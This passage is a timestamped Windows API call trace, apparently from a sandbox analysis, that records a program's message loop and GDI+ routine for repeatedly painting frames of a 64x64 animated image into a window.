[0168.293] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0168.293] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0168.293] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.293] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0168.293] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.294] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.294] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0168.294] GdipCreateRegion (region=0x15dc20) returned 0x0 [0168.294] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0168.294] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0168.294] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0168.294] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0168.294] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0168.294] GetSystemMetrics (nIndex=42) returned 0 [0168.294] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0168.295] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0168.295] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0168.295] CoTaskMemFree (pv=0x1e91eca0) [0168.295] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0168.295] GdipCreateRegion (region=0x15d710) returned 0x0 [0168.295] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0168.295] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0168.295] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0168.295] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0168.295] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.295] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0168.296] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.296] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0168.296] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.296] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0168.296] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.297] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.297] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0168.297] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0168.297] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0168.297] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0168.297] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.297] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0168.297] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0168.297] GetCurrentObject (hdc=0x4c0106c6, type=0x1) returned 0x1b00017 [0168.297] GetCurrentObject (hdc=0x4c0106c6, type=0x2) returned 0x1900010 [0168.297] GetCurrentObject (hdc=0x4c0106c6, type=0x7) returned 0x1a05067e [0168.297] GetCurrentObject (hdc=0x4c0106c6, type=0x6) returned 0x18a002e [0168.297] SaveDC (hdc=0x4c0106c6) returned 1 [0168.297] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3c0407c3 [0168.298] GetClipRgn (hdc=0x4c0106c6, hrgn=0x3c0407c3) returned 0 [0168.298] SelectClipRgn (hdc=0x4c0106c6, hrgn=0xc040b8a) returned 2 [0168.298] DeleteObject (ho=0x3c0407c3) returned 1 [0168.298] DeleteObject (ho=0xc040b8a) returned 1 [0168.298] OffsetViewportOrgEx (in: hdc=0x4c0106c6, x=0, y=0, lppt=0x2738238 | out: lppt=0x2738238) returned 1 [0168.298] GetNearestColor (hdc=0x4c0106c6, color=0xffffff) returned 0xffffff [0168.298] CreateSolidBrush (color=0xffffff) returned 0x14100190 [0168.298] FillRect (hDC=0x4c0106c6, lprc=0x15d7c0, hbr=0x14100190) returned 1 [0168.298] DeleteObject (ho=0x14100190) returned 1 [0168.298] RestoreDC (hdc=0x4c0106c6, nSavedDC=-1) returned 1 [0168.299] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.299] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4c0106c6) returned 0x0 [0168.299] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbbe0dbd) returned 0x0 [0168.299] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.299] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0168.299] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0168.299] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0168.299] GetSystemMetrics (nIndex=42) returned 0 [0168.299] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0168.299] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0168.299] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0168.300] CoTaskMemFree (pv=0x1e91eca0) [0168.300] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0168.300] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0168.301] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0168.301] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0168.301] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4c0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0168.301] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.301] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4c0106c6) returned 0x0 [0168.301] SelectObject (hdc=0x4c0106c6, h=0x185000f) returned 0x1a05067e [0168.301] DeleteDC (hdc=0x4c0106c6) returned 1 [0168.301] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.301] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0168.301] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0168.301] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0168.302] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.302] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x2470356) returned 0x12 [0168.302] IsWindowUnicode (hWnd=0x702f6) returned 1 [0168.302] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.302] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x2470356) returned 0x12 [0168.302] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0168.302] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.302] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.302] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x2470356) returned 0x0 [0168.302] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.302] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.302] WaitMessage () returned 1 [0168.317] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.317] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x2510356) returned 0x12 [0168.317] IsWindowUnicode (hWnd=0x702f6) returned 1 [0168.317] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.317] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x2510356) returned 0x12 [0168.317] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0168.317] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.317] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.317] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x2510356) returned 0x0 [0168.317] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.317] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.317] WaitMessage () returned 1 [0168.345] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.346] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.346] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.346] IsWindowUnicode (hWnd=0x702f6) returned 1 [0168.346] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.346] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.346] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.346] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x2a2, wParam=0x0, lParam=0x0) returned 0x0 [0168.346] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.346] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.346] WaitMessage () returned 1 [0168.485] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.485] IsWindowUnicode (hWnd=0x2031e) returned 1 [0168.485] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.485] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.485] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.485] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0168.485] GetCurrentThreadId () returned 0xec0 [0168.485] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0168.485] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.485] IsWindowUnicode (hWnd=0x2031e) returned 1 [0168.486] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.486] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.486] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.486] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0168.486] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0168.486] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4d0106c6 [0168.486] SelectObject (hdc=0x4d0106c6, h=0x1a05067e) returned 0x185000f [0168.486] GdipCreateFromHDC (hdc=0x4d0106c6, graphics=0x15daf0) returned 0x0 [0168.486] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0168.487] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0168.487] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0168.487] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0168.487] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0168.487] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.487] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0168.488] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.488] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.488] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0168.488] GdipCreateRegion (region=0x15dc20) returned 0x0 [0168.488] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0168.488] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0168.488] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0168.488] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0168.488] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0168.488] GetSystemMetrics (nIndex=42) returned 0 [0168.489] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0168.489] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0168.489] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0168.489] CoTaskMemFree (pv=0x1e91eca0) [0168.489] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0168.489] GdipCreateRegion (region=0x15d710) returned 0x0 [0168.489] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0168.489] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0168.489] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0168.489] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0168.490] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.490] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0168.490] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.490] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0168.490] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.490] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0168.491] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.491] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.491] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0168.491] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0168.491] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0168.491] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0168.491] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.491] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0168.491] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0168.492] GetCurrentObject (hdc=0x4d0106c6, type=0x1) returned 0x1b00017 [0168.492] GetCurrentObject (hdc=0x4d0106c6, type=0x2) returned 0x1900010 [0168.492] GetCurrentObject (hdc=0x4d0106c6, type=0x7) returned 0x1a05067e [0168.492] GetCurrentObject (hdc=0x4d0106c6, type=0x6) returned 0x18a002e [0168.492] SaveDC (hdc=0x4d0106c6) returned 1 [0168.492] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xd040b8a [0168.492] GetClipRgn (hdc=0x4d0106c6, hrgn=0xd040b8a) returned 0 [0168.492] SelectClipRgn (hdc=0x4d0106c6, hrgn=0x3d0407c3) returned 2 [0168.492] DeleteObject (ho=0xd040b8a) returned 1 [0168.492] DeleteObject (ho=0x3d0407c3) returned 1 [0168.493] OffsetViewportOrgEx (in: hdc=0x4d0106c6, x=0, y=0, lppt=0x2738c18 | out: lppt=0x2738c18) returned 1 [0168.493] GetNearestColor (hdc=0x4d0106c6, color=0xffffff) returned 0xffffff [0168.493] CreateSolidBrush (color=0xffffff) returned 0x15100190 [0168.493] FillRect (hDC=0x4d0106c6, lprc=0x15d7c0, hbr=0x15100190) returned 1 [0168.493] DeleteObject (ho=0x15100190) returned 1 [0168.493] RestoreDC (hdc=0x4d0106c6, nSavedDC=-1) returned 1 [0168.493] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.493] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4d0106c6) returned 0x0 [0168.493] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbbc0dbd) returned 0x0 [0168.493] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.494] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0168.494] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0168.494] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0168.494] GetSystemMetrics (nIndex=42) returned 0 [0168.494] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0168.494] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0168.494] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0168.494] CoTaskMemFree (pv=0x1e91eca0) [0168.494] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xc) returned 0x0 [0168.496] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0168.496] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0168.496] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0168.496] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0168.497] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4d0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0168.497] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.497] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4d0106c6) returned 0x0 [0168.497] SelectObject (hdc=0x4d0106c6, h=0x185000f) returned 0x1a05067e [0168.497] DeleteDC (hdc=0x4d0106c6) returned 1 [0168.497] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.497] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0168.497] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0168.497] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0168.497] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.498] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0168.498] WaitMessage () returned 1 [0168.673] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.673] IsWindowUnicode (hWnd=0x2031e) returned 1 [0168.673] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.673] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.673] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.673] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0168.673] GetCurrentThreadId () returned 0xec0 [0168.673] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0168.673] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0168.673] IsWindowUnicode (hWnd=0x2031e) returned 1 [0168.673] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0168.673] TranslateMessage (lpMsg=0x15e910) returned 0 [0168.673] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0168.673] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0168.674] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0168.674] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4e0106c6 [0168.674] SelectObject (hdc=0x4e0106c6, h=0x1a05067e) returned 0x185000f [0168.674] GdipCreateFromHDC (hdc=0x4e0106c6, graphics=0x15daf0) returned 0x0 [0168.674] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0168.674] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0168.674] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0168.674] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0168.675] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0168.675] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.675] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0168.675] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.675] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.676] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0168.676] GdipCreateRegion (region=0x15dc20) returned 0x0 [0168.676] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0168.676] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0168.676] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0168.676] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0168.676] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0168.676] GetSystemMetrics (nIndex=42) returned 0 [0168.676] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0168.676] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0168.676] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0168.676] CoTaskMemFree (pv=0x1e91eca0) [0168.676] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0168.676] GdipCreateRegion (region=0x15d710) returned 0x0 [0168.677] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0168.677] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0168.677] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0168.677] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0168.677] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.677] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0168.677] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.678] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0168.678] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0168.678] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0168.678] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0168.678] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.678] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0168.678] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0168.678] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0168.678] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0168.679] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.679] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0168.679] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0168.679] GetCurrentObject (hdc=0x4e0106c6, type=0x1) returned 0x1b00017 [0168.679] GetCurrentObject (hdc=0x4e0106c6, type=0x2) returned 0x1900010 [0168.679] GetCurrentObject (hdc=0x4e0106c6, type=0x7) returned 0x1a05067e [0168.679] GetCurrentObject (hdc=0x4e0106c6, type=0x6) returned 0x18a002e [0168.679] SaveDC (hdc=0x4e0106c6) returned 1 [0168.679] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3e0407c3 [0168.679] GetClipRgn (hdc=0x4e0106c6, hrgn=0x3e0407c3) returned 0 [0168.679] SelectClipRgn (hdc=0x4e0106c6, hrgn=0xe040b8a) returned 2 [0168.680] DeleteObject (ho=0x3e0407c3) returned 1 [0168.680] DeleteObject (ho=0xe040b8a) returned 1 [0168.680] OffsetViewportOrgEx (in: hdc=0x4e0106c6, x=0, y=0, lppt=0x2739f38 | out: lppt=0x2739f38) returned 1 [0168.680] GetNearestColor (hdc=0x4e0106c6, color=0xffffff) returned 0xffffff [0168.680] CreateSolidBrush (color=0xffffff) returned 0x16100190 [0168.680] FillRect (hDC=0x4e0106c6, lprc=0x15d7c0, hbr=0x16100190) returned 1 [0168.680] DeleteObject (ho=0x16100190) returned 1 [0168.680] RestoreDC (hdc=0x4e0106c6, nSavedDC=-1) returned 1 [0168.680] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.681] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4e0106c6) returned 0x0 [0168.681] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbba0dbd) returned 0x0 [0168.681] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0168.681] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0168.681] 